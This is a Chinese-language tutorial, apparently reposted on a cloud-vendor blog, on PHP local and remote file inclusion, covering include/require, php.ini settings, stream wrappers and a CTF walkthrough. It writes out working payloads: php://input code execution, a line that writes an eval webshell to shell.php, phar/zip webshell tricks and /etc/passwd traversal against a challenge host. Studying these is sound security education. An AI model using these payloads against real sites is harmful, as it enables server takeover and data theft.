7.文件包含

本文涉及的产品
对象存储 OSS,20GB 3个月
对象存储 OSS,内容安全 1000次 1年
对象存储 OSS,恶意文件检测 1000次 1年
简介: 文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。

pbp?file=flag.txt

pbp?file=file://..//..//c:\windows

什么是文件包含?
包含 调用 重复调用使用同一个文件
● ·文件包含:开发人员将可重复使用的内容写到单个文件中,使用时直接调用此文件
● 文件包含漏洞:开发人员希望代码更加灵活,有时会将包含的文件设置为变量,用来动态调
用,由于这种灵活性,可能导致攻击者调用恶意文件,造成文件包含漏洞
● 文件包含特性:只要被包含的文件的文件内容符合PHP语法,不管文件类型是什么,该文件
都会被php解释器去解析执行;如果文件内容不符合PHP语法,就会将该文件内容读取出来。
🔲 shell.txt 内容 POST提交参数 ahnb=phpinfo();

🔲 shell.txt 内容 ——> 直接执行解析出现PHPinfo界面

漏洞危害
● 敏感倍息泄露
● 获取webshell
● 任意命令执行

windows和linux常见的敏感文件

image.png

相关函数
● include 中间有错误,继续向下执行其余命令
● include_once 重复调用同一个文件,程序只执行一次

image.png

image.png
调换之后变换
● require
● require_once

image.png

a文件 aaaaaa

b 文件 bbbbbb

c 文件 ccccccc

文件包含
php.ini配置文件中相关选项

image.png

🔲 本地文件包含
·本地文件包含(LFI):当包含的文件在服务器本地时,就形成了本地文件包含

🔲 远程文件包含
·远程文件包含(RFI):当包含的文件在远程服务器上时,就形成了远程文件包含
如果远程文件包含,则需要php.ini中开启对应参数开关
allow_url_fopen = on
allow url include = on

协议:
● scxsc.php?file=http://www.baidu.com/robots.txt
远程服务器ip:192.168.81.156

image.png

ryan=system(''dir")

● 结合为协议getshell
asmckds.php?file=php://input
POST提交数据 <?php phpinfo();?> ——>getshell

  1. 什么是PHP伪协议? ·PHP带有很多内置URL风格的封装协议,用于类似fopen()、copy()、file_exists()和filesize()文 件系统函数 ·具体协议请参照http://www.php.net/manual/zh/wrappers.php ·封装协议的URL语法仅支持scheme://.…的类型的语

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php:// 输入输出流PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。php://filter(本地磁盘文件进行读取)元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。
?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
两者效果一样。
条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
测试结果:

网络图片:https://ucc.alicdn.com/images/user-upload-01/20210510142314424.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMTQyMzY4,size_16,color_FFFFFF,t_70
用法:?file=php://input 数据利用POST传过去。
php://input (读取POST数据)碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;测试代码:
<?php
echo file_get_contents("php://input");
?>
网络图片:https://ucc.alicdn.com/images/user-upload-01/20210510142649179.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMTQyMzY4,size_16,color_FFFFFF,t_70
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。
如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
网络图片:https://ucc.alicdn.com/images/user-upload-01/20210510143459597.png
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;
网络图片:https://ucc.alicdn.com/images/user-upload-01/20210510143606331.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMTQyMzY4,size_16,color_FFFFFF,t_70
通过file协议可以访问本地文件系统,读取到文件的内容
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
网络图片:https://ucc.alicdn.com/images/user-upload-01/20210510143634266.png
数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
data://(读取文件)
和php伪协议的input类似,碰到file_get_contents()来用; <?php // 打印 "I love PHP" echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo='); ?>
注意:<?php phpinfo();,这类执行代码最后没有?>闭合;
如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI) 测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
网络图片:https://ucc.alicdn.com/images/user-upload-01/20210510144151426.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMTQyMzY4,size_16,color_FFFFFF,t_70
用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
网络图片:https://ucc.alicdn.com/images/user-upload-01/2021051014425723.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMTQyMzY4,size_16,color_FFFFFF,t_70
用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。
条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
网络图片:https://ucc.alicdn.com/images/user-upload-01/20210510144354517.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMTQyMzY4,size_16,color_FFFFFF,t_70
二、以一题为例
网络图片:https://ucc.alicdn.com/images/user-upload-01/20210510144738661.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMTQyMzY4,size_16,color_FFFFFF,t_70
网络图片:https://ucc.alicdn.com/images/user-upload-01/20210510145054133.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMTQyMzY4,size_16,color_FFFFFF,t_70
网络图片:https://ucc.alicdn.com/images/user-upload-01/20210510151136294.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMTQyMzY4,size_16,color_FFFFFF,t_70
网络图片:https://ucc.alicdn.com/images/user-upload-01/20210510151423614.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMTQyMzY4,size_16,color_FFFFFF,t_70
网络图片:https://profile.csdnimg.cn/5/D/D/3_qq_53142368
这道题就出了php伪协议,php://input(命令执行)ls查看目录文件列表

看到include函数,一看就是文件包含函数,进行传参
https://d7c9f3d7-64d2-4110-a14b-74c61f65893c.chall.ctf.show/?url=../../../../../../../../../../etc/passwd
zip://伪协议zip伪协议和phar协议类似,但是用法不一样。
phar://伪协议这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。
data://伪协议
file://伪协议 (读取文件内容)
php://input(命令执行)测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
php://input(写入木马)
php://input可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=“multipart/form-data” 的时候 php://input 是无效的。

image.png

./ 当前目录
../ 上一级目录

image.png

相关实践学习
借助OSS搭建在线教育视频课程分享网站
本教程介绍如何基于云服务器ECS和对象存储OSS,搭建一个在线教育视频课程分享网站。
相关文章
|
7月前
|
安全 PHP
36、远程文件包含漏洞
36、远程文件包含漏洞
40 0
|
2月前
|
安全 PHP
文件包含漏洞(一)代码解读
文件包含漏洞(一)代码解读
|
2月前
|
安全 前端开发 Linux
文件包含漏洞
文件包含漏洞
|
7月前
|
安全 关系型数据库 MySQL
文件包含漏洞利用技术总结
文章讨论了PHP文件包含漏洞及其利用方法,包括远程文件包含、目录遍历和特殊协议利用等安全风险。
75 0
文件包含漏洞利用技术总结
|
存储 安全 Shell
|
安全 关系型数据库 MySQL
代码审计--文件包含
代码审计--文件包含
|
安全 PHP Apache
8.文件包含实战
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
8.文件包含实战
|
安全 PHP 开发者
文件包含实现|学习笔记
快速学习文件包含实现
文件包含实现|学习笔记
|
安全 PHP Apache
文件包含路径|学习笔记
快速学习文件包含路径
文件包含路径|学习笔记